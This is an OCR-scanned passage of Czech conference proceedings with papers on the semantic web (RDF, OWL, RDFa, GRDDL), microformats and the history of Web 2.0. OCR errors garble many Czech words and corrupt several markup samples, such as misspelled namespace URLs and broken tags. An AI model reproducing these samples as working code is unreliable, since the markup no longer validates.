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SEMANTIKA NA WEBU

Jir1 Kosek

E-MAIL: JIRKAQKOSEK.CZ

Kli¢ova slova: web, sémantika, sémanticky web, RDF, OWL, mikroforméty,
RDFa, GRDDL

Abstrakt

Web je dnes jiZ pomérné hlubokou studnici informact, ale ndstroje pro efektivni zpra-
covdant téchto informaci zatim zdaleka nedosahuji urovné, kterou by si uZivatelé prdli.
V této predndsce se podivame na technologie, které se vice ¢i méné uspésné snazi v pro-
stredi webu uchopit sémantiku. Zkratky a pojmy jako sémanticky web, RDF, OWL,
ontologie, mikroformdty a RDFa jiZ pro vds ddle nebudou tabu.

Web byl ptivodné navrzen jako prostiedi pro publikovani dokumentt propo-
jenych hypertextovymi odkazy. S tim jak mnozZstvi stranek a v nich obsazenych
informaci na webu vzrustalo, bylo stale obtiznéjsi nalézt pro néas dulezité in-
formace. Vzrustala tedy potfeba zachyceni sémantiky informaci obsazenych ve
webovych strankach zptisobem, ktery by umoznil jeji strojové zpracovani. To
by ve vysledku vedlo k podstatnému vylepseni moznosti webovych vyhledavacu
a otevielo by to i dalsi moznosti pro vyuziti dat publikovanych na webu.

Pro acely naseho ¢lanku se oprostime od klasickych definic pojmu séman-
tika, jak je zavadi lingvistika, filosofie a dalsi védni obory. Sémantikou budeme
chapat vyznam néjaké informace. Dulezité pro nas vSak bude, Ze tento vyznam
je reprezentovan explicitnim zptisobem, ktery umoznuje strojové zpracovani. Je
mozné, Ze jednou prijde doba, kdy pocitace dokazi interpretovat text v priro-
zeném jazyce, podobné jako to dnes dokéze ¢lovék. Do té doby je vSak potfeba
strojum pomoci.
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1 Jazyk HTML a sémantika

Jiz v samotném tuvodu skoro kazdého kurzu nebo ucebnice jazyka HTML se
dozvime, ze podstatou HT'ML je oznacovat v dokumentu pomoci znacek vyznam
(sémantiku) jednotlivych ¢asti textu, ne jejich vzhled. Nicméné takto pfidand
sémantika HTML nepfinasi pro praci se skute¢nou sémantikou nic podstatného.
Pomoci jazyka HTML sice miizeme urcit, co v dokumentu je odstavec, co polozka
seznamu a co odkaz. Ale jazyk HTML jiz nenabizi prostiedky, jak napriklad ¥ici,
7e polozka seznamu obsahuje nazev vyrobku a druhé buiika tabulky jeho cenu
v dolarech.

2 Jazyk XML a sémantika

Resenim sémantickych nedostatkii jazyka HTML mél byt jazyk XML. XML na
rozdil od jazyka HTML nedefinuje jednu pevnou sadu znacek uréenou predevsim
pro popis vzhledu a zdkladni struktury webovych stranek, ale umoznuje vytvaret
specifické znacky, urcené pro presné oznaceni vyznamu urcitého druhu informace.

Kdybychom napiiklad chtéli mit v podobé dokumentu XML ulozen katalog
hudebnich nosic¢i, které prodava néjaky obchod, mohli bychom pouzit nasledujici
strukturu:

<cenik>

<polozka kategorie="CD" koéd="04400148712">
<nizev>Entropicture</nizev>
<interpret>Dan Barta</interpret>
<cena ména="Kc">140<cena>

</polozka>

</cenik>

Tomuto pristupu, kdy je pfesné vyznaceno, co ktery iidaj znamend, se fika
sémanticke znackovani. Vidime napiiklad, ze ¢islo ,,140“ je cena vyjadiena v ko-
runach. Lze si snadno predstavit, Ze nad takto oznackovanymi dokumenty by
bylo trividlni vytvorit pokrocily vyhledavac.

Tento pfistup vyzaduje, aby se pro jeden druh informace (tfeba katalog
zbozi nabizeného internetovym obchodem) pouzival pokud mozno celosvétové
jednotny format. Tim se zarudi, Ze si jednotlivé aplikace budou navzajem rozu-
met.

V poloviné 90. let, kdy jazyk XML vznikal, panovalo presvédcéeni, ze XML
na webu nahradi format HTML. Stranky budou obsahovat sémanticky oznacko-

vané vSechny dtlezité informace a o definici vzhledu se postaraji stylové jazyky
jako CSS nebo XSL. Tato pfedstava vSak byla pfilis revolu¢ni jak pro autory
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v vo

webovych stranek, tak pro vyvojafe webovych prohlizei a v praxi se neujala.
Byt by se principialné jednalo o velice dobré feSeni, pfedbéhlo tehdejsi technické
schopnosti prohlize¢d a mentalni schopnosti autortt webovych stanek, a masové
se tak nikdy neujalo.

Nicméné nékteré tizce zamérené vyhledavace myslenku specializovanych for-
matu XML oprasily. Umoziiuji na webovém serveru bokem k béZnym strankam
vystavit XML se strojovym popisem informaci obsaZenych na samotnych stran-
kach. Tyto popisy pak vyhledavac¢ pravidelné stahuje a aktualizuje podle nich
svoji databazi, kterou pouziva pri vyhodnocovani dotazt od uzivateld. Prikla-
dem muze byt tieba webova aplikace zbozi.cz, kterda je schopna automaticky
stahovat a indexovat katalogy zbozi v jednoduchém formatu XML.

<SHOP>

<SHOPITEM>
<PRODUCT>Svétélkujici podlozka</PRODUCT>
<DESCRIPTION>Fosforeskujici okraj, nevyzaduje baterie.</DESCRIPTION>
<URL>http://obchod.cz-pod-mys/fosfor</URL>
<ITEM_TYPE>new</ITEM_TYPE>
<AVAILABILITY>24</AVAILABILITY>
<IMGURL>http://obchod.cz/obrazky/podlozky-pod-mys/fosfor. jpg</IMGURL>
<PRICE>620</PRICE>
<PRICE_VAT>756</PRICE_VAT>

</SHOPITEM>

</SHOP>

Nicméné problém je v tom, Ze tento pristup funguje jen pro urcité druhy dat,
navic je nutné pro kazdy specializovany vyhleddavac data pripravit ve specifickém
forméatu. Nicméné da se ocekavat, ze formaty budou urcovat pouze velci hraci
na poli vyhleddvac¢t (napfiklad globédlni Google a lokélni Seznam) a ostatni se
jim prizpusobi.

3 Sémanticky web

The Semantic Web is the representation of data on the
World Wide Web. It is a collaborative effort led by W3C
with participation from a large number of researchers
and industrial partners. It is based on the Resource De-
scription Framework (RDF), which integrates a variety
of applications using XML for syntax and URIs for na-
ming.
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The Semantic Web is an extension of the current web in

which information is given well-defined meaning, better

enabling computers and people to work in cooperation.
— Tim Berners-Lee, James Hendler, Ora Lassila

Pomineme-li fakt, ze se dfive zminény zptsob zachycovani sémantiky pfimo
pomoci specializovanych slovnikt XML v prostifedi webu moc neuchytil, ma jesté
jeden nedostatek. Bez néjaké ruc¢ni prace nebo piidavné znalosti neni mozné spo-
jovat puvodné nesouvisejici informace rtznych druht z riznych zdroji. Tento
nedostatek prekonava tzv. sémanticky web. Technologie, ktera se zacala vyvi-
jet na konci 90. let, je postavena na velice jednoduché myslence: stavajici web
slozeny z dokumentti se doplni o web znalosti. Znalosti pfitom budou forméalné
reprezentovany pomoci vyrokli, protoze s nimi umi logika pracovat, odvozovat
z nich nové vyroky atd.

Sémantické web chape vyroky jako trojice (subjekt, predikat, objekt). P¥i-
klady vyrokt jsou naptiklad Ema md maso nebo Webovd stranka EurOpen.cz
byla vytvorena 13. cervence 1997. Samoziejmé, aby mohl sémanticky web fun-
govat tak, jak byl zamyslen, je potifeba jednotlivé pouzivané pojmy jednoznacné
identifikovat, aby $lo jednotlivé vyroky kombinovat dohromady a ziskavat tak
nové. Subjekty a predikaty jsou proto vzdy identifikovany pomoci adresy URI.
Objekt je pak bud hodnota nebo opét je identifikovan pomoci adresy URI.

Pro zépis vyrokl se pouziva format RDF (Resource Description Framework),
ktery je vystaven nad syntaxi XML. Nase ukazkové vyroky bychom mohli v RDF
zapsat jako

<rdf:RDF xmlns:rdf="http://www.w3.0rg/1999/02/22-rdf-syntax-ns#"
xmlns:vztahy="http://example.org/vztahy/"
xmlns:exterms="http://www.example.org/terms/">
<rdf :Description rdf:about="http://example.org/lide/Ema">
<vztahy:ma rdf:resource="http://example.org/jidlo/maso"/>
</rdf :Description>
<rdf :Description rdf:about="http://www.europen.cz/">
<exterms:creation-date>1997-07-13</exterms:creation-date>
</rdf :Description>
</rdf :RDF>

Vidime, ze zapis v RDF neni zrovna struc¢ny a pfili§ pfehledny. Existuji proto
i alternativni Cisté textové notace jako napriklad N3. Nicméné ptuvodni pied-
stava, ze by bylo RDF vytvafeno uzivateli v néjakém masovéjsim méritku, uz
davno vzala za své. RDF se dnes pouziva spiSe jako exportni forméat, pokud
chceme usnadnit zpracovani, propojeni a odvozovani informaci. Pro vybér dat
ulozenych v RDF existuje dokonce specidlni dotazovaci jazyk SPARQL. Existuji
i sémantické vyhledavace, které indexuji a umoznuji nasledné prohledavat ob-
sah reprezentovany v RDF. Mezi tyto sluzby patii napiiklad http://sindice.com
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a http://swoogle.umbc.edu. Nicméné soucasnd podoba obé& sluzby preduréuje
spiSe pro sémantické specialisty nez pro bézné uzivatele.

Aby mohl sémanticky web fungovat ve vétsim méfitku, je potfeba zajistit
i dalsi véci. Pro stejné koncepty a predméty je potieba pouZivat stejné identifi-
katory. Pokud by identifikdtory byly rozdilné, nebude mozné vyroky pochéazejici
z riznych zdroji spojovat.

Kromé toho je potieba se shodnout na celém modelu, ktery se pouzije pro
modelovani ur¢ité domény. Jaké predméty a objekty se mohou vyskytovat, jaké
jsou mezi nimi vztahy a v jakych predikdtech mohou figurovat. Této definici
se Fika ontologie. Ontologie je vlastné definice slovniku pojmu, které budeme
pouzivat pro popis urcité oblasti. V ontologii se definuji t¥idy, mozné vztahy
mezi nimi a mnoho dalsiho. Pro zapis ontologii se pouzivaji jazyky RDF Schema
a OWL (Web Ontology Language).

I pfes obrovské prostiedky, které v posledni dobé plynou do vyzkumu spoje-
ného se sémantickym webem, je mnoho problému vyfeseno ne prilis uspokojivé.
Jednim z nich je identita subjektt. V sémantickém webu je vse identifikovano
pomoci adres URI. Format RDF vsSak nenabizi prostfedky pro rozliSeni toho,
zda dany predikat mluvi pfimo o strance s danym URI, nebo s konceptem, ktery
stranka zastupuje. U adresy http://www.europen.cz/ tak nevime, zda identifikuje
webovou stranku sdruzeni EurOpen nebo pfimo sdruZeni samotné. Soucasné fe-
Seni pocita s tim, Ze se na danou adresu posle pozadavek HT'TP a podle navra-
tového kédu se ur¢i povaha predmétu zastoupeného adresou.

7 praktického hlediska je vSak asi nejvétsim problémem RDF jeho syntaxe.
Ta vyzaduje jeho zapis do samostatnych soubori. Informace, které tak uz stejné
vétSinou mame na klasické webové strance, musime paralelné udrzovat jesté ve
formatu RDF. V posledni dobé je proto patrny pifiklon k technologiim, které
pouzivaji jedno misto pro zapis ,viditelnych metadat® na strance, tak i pro
jejich formalizovany zapis. Jedna se predevsim o mikroforméaty a format RDFa.

4 Mikroformaty

Mikroformaty jsou konceptem, ktery s sebou pfinesl Web 2.0. Podobné jako
cely Web 2.0 nejsou mikroforméty samy o sobé ni¢im pfrevratnym. Spise jde
opét o vyuZziti (¢ spiSe zneuziti) existujicich technologii novym zptisobem, ktery
prinasi nové moznosti.

Mikroformaty pfinaseji zpusob, jak s vyuzitim stavajicich konstrukei jazyka
HTML/XHTML do strének vklddat ty nejzdkladnéjsi strukturované informace
jako jsou vizitky, informace o udéalostech apod. Na rozdil od formata jako RDF
mikroformaty plné stavi na jiz existujicich a odzkousenych technologiich. Vydaly
se tedy osvédcenou cestou evoluce, a nikoliv revoluce.
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Aby byla co nejnizsi bariéra pro zadavani dat v podobé mikroformati, snazi
se mikroformaty v maximalni mozné mifre Cerpat informace z jiz existujicitho
kédu stranky. Pouze v pripadé, kdy néjaké idaje nejsou na strance zachyceny ve
vhodné podobé, je mozné jejich alternativu uvést v nékterém atributu. Vyznam
jednotlivych ¢asti dokumentu se nyni ur¢uje pomoci hodnot v atributu class.
Tento atribut byl ptvodné vyhrazen pro propojeni HTML a kaskddovych styl
(CSS), ale mikroforméty jej pouzivaji pravé pro zachyceni vyznamu dané ¢asti
stranky. Napfiklad informace o této konferenci by mohla byt v mikroformatu
hCalendar reprezentovana néasledujicim zptisobem.

<span class="vevent">

SdruZeni <a class="url" href="http://www.europen.cz/">EurOpen</a>

pro vas chysta

<span class="summary">XXXIII. konferenci EurOpen.CZ</span>.

Bude se konat

<abbr class="dtstart" title="2008-10-05T13:30:00+02:00">5.</abbr>-<abbr
class="dtend" title="2008-10-08T14:00:00+02:00">8. Fijna 2008</abbr>

v hotelu <a class="location"
href="http://www.hotel-lesnichata.cz/">Lesni chata v KoF¥enové&</a>.
</span>

Vidime, ze pomoci tfid jako url, summary nebo location urcime zakladni
charakteristiky udalosti pfimo v textu stranky. U data zacatku a konce akce
jesté pomoci atributu title doplnime datum a c¢as ve strojové ¢itelné podobé.
Elementy a atributy pfidané pro zachyceni vSech potifebnych informaci nikterak
neovliviiuji zobrazeni stranky v prohlizeci.

Na serveru http: //microformats.org najdeme definice nékolika mikroformétu
a nastroju pro praci s nimi. Tyto nastroje umoznuji napriklad sdileni a agre-
gaci takto zadanych tdaji mezi riznymi webovymi aplikacemi. Pro nas priklad
s udalostmi zase existuji rozsifeni prohlizecti, kterd umi ze stranky opatfené
mikroforméaty udélosti nebo kontakty rovnou importovat do kalendaie apod.

Samoziejmé ani mikroforméty nejsou bez vad na krase. Spise teoreticka vy-
tka spociva v tom, Ze zneuzivaji atribut class pro zcela jiné tcely nez byl urcen.
Vétsim problémem je vsak Spatnd skalovatelnost. Mikroformaty zatim funguji,
protoze jich je velice jméno. Budou-li v§ak nové mikroforméaty pfibyvat, je ve-
lice pravdépodobné, Ze dojde ke kolizi identifikdtors, protoze ty nejsou nijak
kvalifikovany, at jiz tfeba adresou URI nebo alespoti doménovym jménem. Tyto
problémy by ¢asem mohl odstranit novy univerzalni atribut role', na jehoz
pridani do XHTML se pracuje.

Teoreticky by také bylo mozné pouzivat mikroformaty, které by nepietézovaly
atribut class, ale do kédu stranky vkladaly sémantické elementy XML. Nasi
udalost bychom pak mohli zapsat naptiklad jako

thttp: //www.w3.org/TR/xhtml-role/
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<ev:event xmlns:ev="http://example.org/ns/event">

SdruZzeni <ev:link><a href="http://www.europen.cz/">EurOpen</a></ev:1link>
pro vas chysta

<ev:summary>XXXIII. konferenci EurOpen.CZ</ev:summary>.

Bude se konat

<ev:start timestamp="2008-10-05T13:30:00+02:00">5.</ev:start>-<ev:end
timestamp="2008-10-08T14:00:00+02:00">8. #ijna 2008</ev:end>

v hotelu <ev:location><a href="http://www.hotel-lesnichata.cz/">Lesni
chata v Kofenové</a></ev:location>.

</ev:event>

Problém je v tom, Ze takovy zapis nebude syntakticky fungovat v HTML,
musime pouzit XHTML, které diky mechanismu jmennych prostorti umoziuje do
dokumentu vkladat elementy z n€kolika slovnikd. Nicméné pti bliz§im prizkumu
zjistime, ze format XHTML neni dobfe podporovan majoritnim prohlizecem.
Budeme-li se navic striktné drzet specifikace XHTML, nemuzeme si do jazyka,
ktery nese v nazvu ,rozsiritelny“, vkladat nase vlastni elementy. Pravé z téchto
davodt jsou klasické mikroformaty v tuto chvili mnohem popularnéjsi nez tato
metoda kombinujici elementy XML s formatem XHTML.

5 RDFa

Mikroforméaty a jednoduchost a snadnost jejich zaclenéni do existujicich stranek
se ukazaly jako klicové pro tspéch. Nicméné mikroformaty nezachycuji informace
v podobé predikatt RDF, takze na né nelze aplikovat néastroje sémantického
webu jako odvozovéni. Vznikl proto format RDFa, ktery umoznuje do XML
dokumenti (a tedy i pfimo do jazyka XHTML) zapisovat vyroky RDF pii pouziti
syntaxe, ktera se priblizuje mikroformattim. Ze stranky pak lze snadno vsechny
takto zapsané vyroky vyexportovat do ¢istého RDF pro dalsi pouziti.

RDFa pridava do XHTML nékolik novych atributi uréenych specidlné pro
zapis metadat. Atribut property nese jméno vlastnosti (predikdtu) a pomoci
atributu content miZzeme pro vlastnost urcit hodnotu, pokud je jina nez sa-
motny obsah elementu. K dispozici jsou i dalsi atributy. My si ukazku pouziti
RDFa ukazeme opét na popisu letosni konference EurOpen.

<html xmlns="http://www.w3.org/1999/xhtml
xmlns:cal="http://wuw.w3.0rg/2002/12/cal/ical#"
xmlns:xs="http://www.w3.o0rg/2001/XMLSchema">

<p typeof="cal:Vevent">

SdruZeni <a property="cal:url" href="http://www.europen.cz/">EurOpen</a>
pro vas chysta

<span property="cal:summary">XXXIII. konferenci EurOpen.CZ</span>.
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Bude se konat

<span property="cal:dtstart" content="2008-10-05T13:30:00+02:00"
datatype="xs:dateTime">5.</span>-<span

property="cal:dtend" content="2008-10-08T14:00:00+02:00"
datatype="xs:dateTime">8. ¥ijna 2008</abbr>

v hotelu <a property="cal:location"
href="http://www.hotel-lesnichata.cz/">Lesni chata

v Kofenové</a>.

</p>

;)ﬁtm1>
6 GRDDL

Mit vSechny znalosti zachycené v RDF je jisté ldkava moznost. Na druhou stranu
jsme videéli, ze vytvaret RDF ru¢né neni nic, co by ldkalo bézného tvirce webo-
vych stranek. Tuto propast se snazi pfeklenout mechanismus GRDDL (Gleaning
Resource Descriptions from Dialects of Languages). Jde o jednoduchy zpiisob,
jak k webové strance (nebo obecné dokumentu XML) pfipojit transformaci v ja-
zyce XSLT, kterd ze stranky vytahne zajimavé informace a vrati je v podobé
RDF. Predpokldda se pfitom, ze ony zajimavé informace uz budou néjakym
zpusobem oznacené, typicky pomoci néjakého mikroforméatu.

To, ze je k webové strance pripojena GRDDL transformace se pozna po-
moci specidlni hodnoty v atributu profile. Na samotnou transformaci XSLT
(pFipadné program v jiném jazyce) pak ukazuje element link.

<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://www.w3.o0rg/2003/g/data-view">
<title>Some Document</title>

<link rel="transformation"
href="http://www.w3.0rg/2000/06/dc-extract/dc-extract.xsl" />
<meta name="DC.Subject"
content="ADAM; Simple Search; Index+; prototype" />
</head>
</html>
», b4
7 Zavér

Sémantika na webu je dilezitd a slibuje zejména do budoucna zajimavé moz-
nosti vyuziti, které jiz dnes naznacuji nékteré ,Web 2.0“ aplikace. Nicméné je
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nutno si pfiznat, ze webové sémantické technologie jsou v plenkéch, alespon co
se tyCe miry jejich nasazeni v praxi. Myslenka sémantického webu je pékna, ale
jejl technické realizace pfedbéhla mentalni schopnosti vétsiny uzivateld. Jako
pragmatické reseni se tak ukazuji mikroformaty, které jiz prokazaly svoji zivota-
schopnost. V budoucnu se da oc¢ekavat vétsi vyuziti RDFa a GRDDL tak, aby se
informace obsazené v mikroforméatech hladce zaclenily do prostoru sémantického
webu.

Literatura

[1] http://www.w3.0rg/2001/sw/ Stranky o sémantickému webu od W3C.

[2] http://microformats.org Komunita okolo mikroformata.
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MIKROFORMATY

Stépan Bechynsky

E-MAIL: STEPAN.BECHYNSKYQMICROSOFT.COM

Pred nékolika lety jsem pracoval pro spolecnost, kterd se zabyvala sbérem
dat, predevsim finan¢nich, o firmach a ty pak prodavala subjektiim jako jsou
banky, leasingové spolecnosti, atd. J4 mél na starost tvorbu robot, kteti hledali
verejné dostupné informace na internetu a ty se pak ukladali do databaze. Nej-
vétsi problém byla samoziejmé analyza zdrojového kédu HTML stranky, kteréd
obsahovala pozadovanou informaci a napsani co nejobecnéjsiho skriptu, ktery
by umél informaci najit opakované i v pfipadeé, Ze stranka zménila strukturu. To
byl nejvétsi problém. I drobnd zména ve strance mohla znamenat nefunkcénost
robota.

Problémem HTML pro automatické zpracovani informace, je nedostupnost
yznacek® | které by uméli popsat typ informace. Naptiklad, Ze se jedna o telefonni
¢islo, teplotu, IC, ¢islo bankovniho Gétu, atd. Vsechny tyto informace ¢lovék
rozpozna na prvni pohled. Pokud je n€kde napsano:

C. bank. tétu — 2365462/0115

Tak kouknu a vidim, Ze 2365462/0115 je ¢islo bankovniho Gétu a nemusim
o tom nijak zvlast pfemyslet. Neni problém vytvorit parser, ktery predchozi text
zpracuje a ziskd z néj pozadované ¢islo. Mohu pouzit regularni vyraz:

C\. bank)\. t¢tu — ([0 — 9]+)/([0 — 9]{4})

Ten bude ale pouzitelny pouze pro jeden konkrétni zptisob zapisu ¢isla ban-
kovniho tu¢tu a pouze do té doby, nez dojde ke zméné okoli hledané hodnoty.
Pokud nékdo okoli zméni:

Cislo bankovniho tétu: 2365462/0115

Tak ma aplikace prestane vracet spravny vysledek. Co bych potfeboval je né-
jaky jednotny zptsob, jak ve webové strance, resp. HTML kédu, oznadit ,tento
text predstavuje ¢islo bankovniho uétu“. Na to neni HTML stavéné. Muselo
by se zavadét desitky znacek pro kazdy typ informace, ktery nékdo potrebuje
automaticky zpracovat. Nemusi se jen nutné jednat o rizné roboty. Pokud z1-
staneme u naseho prikladu s ¢islem uctu, tak si dovedu predstavit situaci, kdy si
vyberu zbozi na webovém obchodé a budu mit nainstalovany doplnék do prohli-
zece, ktery si ze stranky ,,vysosne* ¢islo i¢tu, ¢astku za zbozi, variabilni symbol
a automaticky mi vygeneruje pfikaz k tthradé tak, jak ho pozaduje moje banka.
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Tento problém se snazi fesit mikroformaty. Mikroformaty vyuzivaji stavaji-
cich moznosti HTML a CSS, tak, aby se v téchto zavedenych standardech ne-
muselo nic ménit. K popisu informace pouzivaji specialni nazvy tfid CSS. Ttidu
CSS si mohu pojmenovat v podstaté jak chci, tak neni jedind prekazka, abych
toho nevyuzil k popisu informace.

Ukéazka mikroformétu pro udélost, ktery vychazi z formatu iCalendar:

<span class="vevent">
<a class="url" href="http://www.europen.cz/">
http://www.europen.cz/</a>
<span class="summary">Konference podzim 2008</span><br />
0d <abbr class="dtstart" title="20081005">5. 10. 2008</abbr>
do <abbr class="dtend" title="20081008">do</abbr> v~ hotelu
<span class="location">Lesni chata, Kofenov</span>
</span>

Pokud se podivéte na jména t¥id CSS (vevent, url, dtstart, dtend, location),
tak je na prvni pohled zfejmé, o jaky typ informace jde. Na stejném principu
pracuji i dalsi mikroformaty. Jejich seznam je udrzovan na strankach microfor-
mats.org.

Programatortm jisté mikroforméaty usetii praci s automatickym zpracovanim
dokument, ale pro bézného uzivatele neni mnoho dostupnych aplikaci, které umi
s mikroforméaty pracovat, zejména se jedna o jejich podporu v nejrozsitenéjsich
prohlizecich.

Internet Explorer 7 — nutna instalace rozsireni

Internet Explorer 8 Beta 2 — podpora pro Webslice, zatim nedostupné rozsifeni
Firefox 3.0 — Javascript API pro zpracovani mikroforméti, nutné instalace roz-
Siteni

Opera 9.5 — zatim nedostupnd rozsiteni

Tady se podle mého ndzoru dostavame do zacarovaného kruhu. Autofi stra-
nek nepouzivaji mikroformaty, protoze je zdkaznici nevyuzivaji a autori webo-
vych prohliZze¢ti neimplementuji jejich podporu, protoze je nikdo nepouziva.

Pokud se na mikroformaty podivame z jiné strany, tak se daji povazovat
za hrozbu, protoze znacné zjednodusuji, nékdy nezadouci, automatické zpra-
covavani obsahu. Plno firem a instituci na internetu zvefejnuje informace pro
nekomeréni pouziti s tim, Ze pokud by je nékdo chtél pouzivat komercéné, tak
mu je za uplatu dodaji v ,lepsim* formatu. Pfedpokladaji, ze ve formatu HTML
je informace natolik obtizné zpracovatelna, ze je levnéjsi si ji zakoupit ve struk-
turované podobé. Béhem své praxe v psani robotl na vytézovani informaci jsem
se setkal s fadou technik, které automatické zpracovani stranky co nejvice zne-
snadnuji. Zavedenim mikroforméatt by se takovy robot znac¢né zjednodusil. Dalsi
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problém u mikroformatu je vyuzivani nékterych ,okrajovych“ elementi a atri-
butt HTML pro vlastni potteby. To pak miize vést ke Spatné citelnosti stranky
napiiklad pro slepce. Na tento problém narazila spole¢nost BBC pfi zavedeni
mikroformati na svych webovych strankach.!

Jak se budou mikroformaty vyuzivat v budoucnu si netroufam odhadnout.
Co by mohlo pomoct je API ve Firefox 3.0 a podpora Selectors API v IE 8,
FF 3.0 a O 9.5. Obé tato API velmi zjednodusi implementaci podpory mikro-
forméatt pro webové vyvojare. Dalsi co by mohlo pomoct pfijeti mikroformatt
u koncovych uzivateld a web designéru jsou Webslices v IE 8, které z mikrofor-
mata principielné vychazi.

Lhttp: //www.webstandards.org/2007 /04 /27 /haccessibility/
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WEB 2.0

Miroslav Juhos

E-MAIL: MJUHOSQKERIO.COM

Uvod

Web 2.0 je pojmem, o jehoZ vyznamu vede svétovd odbornd verejnost vleklé dis-
kuze, casto prechdzejici aZ v hddky. Pres optimistickd zvoldni, Ze Web 2.0 je
revoluce, az po pesimistickd, kterd tvrdi, Ze nic takového jako movy web neexis-
tuje, je nutno si priznat, Ze v oblasti vyvoje internetu dochdzi k jistému posunu,
a to jak posunu technologickému, tak i k posunu v pristupu k uZivatelum. To vse
taktez ovlivniuje metodiku vyvoje software i ekonomickou stranku véci.

Vznik Web 2.0

Termin Web 2.0 definoval Tim O’Reilly v roce 2004 jako vysledek avah nad pro-
ménou internetu. Zabyval se produkty internetovych firem, které prezily , prask-
nuti internetové bubliny“ a zjistil, Zze tyto produkty maji podobné rysy.

Jednim z ¢asto zminovanych rysi Web 2.0 je vlastnost, ze uzivatel jiz neni
jen konzumentem dat, ale Casto je jejich zdrojem. O’Reilly to demonstruje na
vzniku Wikipedie, kterd umoznuje uzivatelim zadavat data, narozdil od online
verze Encyclopedia Britannica. Zaroven zminuje princip kolektivni inteligence
(sitovy efekt), ktery umoziiuje vytvoteni lepsiho obsahu na principu ,vic hlav
vic vi“ (zatimco za obsah Britanniky jsou zodpovédni jen autofi ¢i korektofi).

Podobny posun lze vysledovat napt. u ndhrady osobnich stranek blogy, pfi-
padné u komunikace pies instant messaging, ktera je nahrazovana komunikaci
zprostiedkovanou sociadlnimi sitémi.

Tim O’Reilly jde jesté hloubéji a tvrdi, ze ¢lenéni soubori a jinych dat do
adresafu nahrazuje Stitkovani (tagovani), a Ze spekulace s doménovymi jmény
je nahrazena optimalizaci pro vyhleddvade (SEO) a uvadi fadu dal$ich zmén
podobného razu.

Tim O’Reilly se jesté po roce pokusil termin znovu definovat strucnou de-
finici: ,Web 2.0 je revoluce podnikdini v pocitacovém prumyslu zpusobend pre-
sunem k chdpdni webu jako platformy a pokus porozumét pravidlum vedoucim
k uspéchu na této nové platforme. Klicovym mezi témito pravidly je toto: tvorte
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aplikace, které budou diky sitovému efektu s pribyjvajicim poctem uZivateli stdle
lepsi. (CoZ jsem jinde nazval ,zaptaZenim kolektivng inteligence®.)“

Historické milniky vyvoje Webu 2.0
1999

e objevuje se termin weblog

e vznikad Blogger

e vychazi Internet Explorer 5.0 s podporovou XmlHttpRequest
2000

e vychazi Microsoft Exchange server s Outlook Web Access (mailovy klient
s AJAX)

2001
e vychazi Internet Explorer 6.0
e je uvedena Wikipedia
2003
e je uveden MySpace
e objevuje se Delicious (sdileni odkazl principem socilni sité)
2004
e spustén Flickr
e spustén Gmail (mailovy klient s AJAX)
e spustén Facebook (sociélni sit)
e milién weblogt
e vznika termin Web 2.0
e vychazi Firefox 1.0
2005
e vychazi Google Maps

e objevuje se termin AJAX
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2006

e vychazi Internet Explorer 7.0
2008

e vychazi Google Chrome

Co je tedy Web 1.07

Je to tedy web pred rokem 1999% To asi ne.

Ze Web 1.0 1ze povazovat takovou webovou aplikaci, ktera se nechova k webu
jako k platformé, nybrz pohlizi nan pouze jako na médium v prvni fadé urcené
k publikaci, a teprve poté k dalsi interakci s uzivatelem.

7 toho vyplyva, Ze i v soucasné dobé je k nalezeni mnoho internetovych
aplikaci a sluzeb, které nelze povazovat za Web 2.0.

Web 2.0 pohledem uzivatele

Je nepopiratelnym faktem, ze uzivatelé internetu velmi rychle ptibyvaji, vzdyt
v roce 1995 byl jejich pocet odhadovan na 16 miliénu osob, v soucasné dobé je
odhadovéan 1,4 miliardy.

Sitovy efekt a kolektivni inteligence

Sitovy efekt je jednou ze zdkladnich myslenek Webu 2.0, a jeho sila pochopitelné
vrustd s pribyvagicim poctem uZivateli.

Podstatou tohoto efektu je jiz vyse zminény princip ,,Vic hlav vic vi“, ale
také ,,Vic o¢i vidi vic chyb®“. Pravé toho vyuziva napt. Wikipedia pro zadavani
a zmény dat u jednotlivych hesel, jak jiz bylo zminéno.

Ponékud odlisné je kolektivni inteligence vyuzivana v socialnich sitich. Soci-
alni sif je systém v némz si uzivatel vytvari vazby s ostatnimi uzivateli. Socidlni
sit pak vyuziva data ziskand od uzivateli na zdkladé kterych dokaze napf. na-
bizet dalsi pratele: ,,tvoji dva pratelé oznacili za svého pritele stejného uzivatele
XY, tudiz i ty bys jej mél znat*“, nebo nabizet uzivateli k zakoupeni produkty,
které si koupili jeho pratelé.

Sitovy efekt nemusi byt pouzivan k pfimému ziskdvani dat od uzivatele. Jako
priklad 1ze zminit Google Page Rank, algoritmus k urceni dtlezitosti webovych
stranek. Zakladni myslenkou Page Rank je totiz to, ze ¢im vice vede na stranku
odkaz1, tim dilezitéjsi je jeji obsah. Podobného principu také vyuzivaji nékteré
antispamové filtry.
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Pouzitelnost (usability)

Prirustek poctu uZivateli nutné znamend, Ze se meéni jejich spektrum. Dd se
predpokladat, Ze v pravéku internetu byli jeho uzZivateli predevsim technicti od-
bornici, ovsem nyni lze za dominantni Zivocisny druh na internetu povazZovat
laického, nepocitacové zaméreného uZivatele, uzivatele, ktery mnetrdvi vecery cte-
nim manudli o dokumentace, ale ktery v proni tadé internet pouZivd.

Zmeéna spektra uzivateld méni zptisob navrhu uzivatelského rozhrani. Uziva-
telské rozhrani jiz nemuze navrhovat vyvojar dle svych predpokladu ¢i zkuse-
nosti, ale je jej tfeba navrhovat na zakladé potieb uzivatele.

I z toho divodu se pfestdva mluvit o ndvrhu uzivatelského rozhrani (User
Interface Design), ale hovorime spiSe o uzivatelské zkuSenosti ¢i prozitku z pouzi-
vani produktu (User Experience) a o designu cileném na uzivatele (User Centered
Design).

Piikladem zmény pristupu k uZivateli miZe byt postup firmy Apple pfi né-
vrhu prehravace iPod. ,,Neptali jsme se co uzivatelé chtéji za funkce prehravace,
ale jak poslouchaji hudbu.“ Z toho vyplyva, Zze pro navrh aplikace spliiujici po-
tfeby uzivatele je nejprve tfeba znat jeho potieby.

Ackoli Tim O’Reilly se o zaméfeni na pouzitelnost aplikaci nezminuje, vét-
Sina vyrobci Web 2.0 se pouzitelnosti svych aplikaci vazné zabyva vic, nez bylo
zvykem v dobach Webu 1.0. Napf. firma Google vénovala vyvoji rozhrani pro
Gmail dva roky, a velka ¢ast tohoto vyvoje byla praveé testovani pouzitelnosti.

Strucné feceno — uz zdaleka jen nestaci to, ze aplikace néco déla, ale zalezi
na tom, jak to déla.

Technologické pozadi Web 2.0

